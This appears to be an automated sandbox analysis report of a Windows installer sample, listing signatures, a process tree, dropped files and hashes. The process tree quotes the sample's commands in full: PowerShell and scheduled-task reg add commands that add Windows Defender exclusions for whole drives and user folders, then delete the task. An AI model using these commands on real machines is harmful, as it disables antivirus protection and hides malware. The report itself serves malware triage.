Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 04:27

General

  • Target
    install.3.1.05.exe
  • Size 32.4MB
  • Sample261027-e3jrmsbt8j
  • SHA256 c7c5ca90239a900cf4804dae2cb14c671c68f2705519188cb5bc0b308d180516
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.3.1.05.exe
    "C:\Users\Admin\AppData\Local\Temp\install.3.1.05.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:1664
  • C:\Users\Public\Yac7dq\Xd52LC.exe
    "C:\Users\Public\Yac7dq\Xd52LC.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:6084
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Yac7dq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5624
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Yac7dq\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5484
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4120
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4740
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2164
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2912
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5764
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4264
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:3308
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4860
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5084
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1304
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4164
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4208
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5680
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4532
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:1360
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:988
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1576
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2800
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Yac7dq" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:2480
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Yac7dq" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:3508
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1060
                          • C:\Users\Public\Yac7dq\Xd52LC.exe
                            "C:\Users\Public\Yac7dq\Xd52LC.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4856
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:700
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:5404
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:2916
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:3652
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:5684
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4200

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 1KB
                                      • SHA256 72cfb028063f0f6dff681754dcb184f39fc89809ab7014408ec9527a96093cce
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 1KB
                                      • SHA256 a6bb8f32a093adc767f9dbabc2e0e52aaf74c389ff744ffecbee59a181937c76
                                      • MD5 SHA1 SHA512 TLSH

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 512B
                                      • SHA256 4be8ce15ca106c5c838f67613d5924414b39f54763300be97cd80a5ab0608643
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 506B
                                      • SHA256 98c11bcd159227c3d61a4c6805432971a74cbdf62343827d77e596af6f0bcffa
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_4dvkv0zz.qsx.psm1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4dvkv0zz.qsx.psm1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\Yac7dq\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 7aeb7b9d7f223f407c805338747225c8ce0ce1d7ee203faa09657ef68dbbadfe
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      Xd52LC.exe

                                      • Path C:\Users\Public\Yac7dq\Xd52LC.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\Yac7dq\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 4f66c6daceb8abafd15154854ccfef6a84ed4de04c1106148e4304f34ae868aa
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\Yac7dq\msadox.tb
                                      • Size 8KB
                                      • SHA256 d3919901e1bf61368812f2440426249788699b34b1b8472336eeaee12f541186
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/720-561-0x00000286DB750000-0x00000286DB7DA000-memory.dmp

                                      memory/720-558-0x00000286DB1F0000-0x00000286DB23E000-memory.dmp

                                      memory/720-530-0x00007FFF54D10000-0x00007FFF54D12000-memory.dmp

                                      memory/720-536-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-543-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-539-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-544-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-546-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-545-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-538-0x00007FFF54D20000-0x00007FFF54D22000-memory.dmp

                                      memory/720-550-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-531-0x00007FFF320F0000-0x00007FFF3260E000-memory.dmp

                                      memory/720-562-0x00000286DB750000-0x00000286DB7DA000-memory.dmp

                                      memory/720-567-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-560-0x00000286DB750000-0x00000286DB7DA000-memory.dmp

                                      memory/720-559-0x00000286DB750000-0x00000286DB7DA000-memory.dmp

                                      memory/720-556-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/720-566-0x00000286DA890000-0x00000286DB167000-memory.dmp

                                      memory/1664-0-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/1664-504-0x00007FFF48F50000-0x00007FFF48F62000-memory.dmp

                                      memory/1664-1-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/1664-2-0x0000000000580000-0x000000000058C000-memory.dmp

                                      memory/1664-525-0x00007FFF48F50000-0x00007FFF48F62000-memory.dmp

                                      memory/1664-524-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/4856-573-0x00007FFF320F0000-0x00007FFF3260E000-memory.dmp

                                      memory/4856-587-0x00000246B4650000-0x00000246B4F27000-memory.dmp

                                      memory/4856-590-0x00000246B4650000-0x00000246B4F27000-memory.dmp

                                      memory/4856-586-0x00000246B4650000-0x00000246B4F27000-memory.dmp

                                      memory/4856-591-0x00007FFF54D10000-0x00007FFF54D12000-memory.dmp

                                      memory/4856-585-0x00000246B4650000-0x00000246B4F27000-memory.dmp

                                      memory/4856-580-0x00000246B4650000-0x00000246B4F27000-memory.dmp

                                      memory/4856-578-0x00007FFF54D20000-0x00007FFF54D22000-memory.dmp

                                      memory/4856-576-0x00000246B4650000-0x00000246B4F27000-memory.dmp

                                      memory/6084-595-0x000001FB4F490000-0x000001FB4F4B2000-memory.dmp

                                      memory/6084-603-0x000001FB4F710000-0x000001FB4F72E000-memory.dmp

                                      memory/6084-604-0x000001FB4F730000-0x000001FB4F7E2000-memory.dmp

                                      memory/6084-607-0x000001FB4F500000-0x000001FB4F50A000-memory.dmp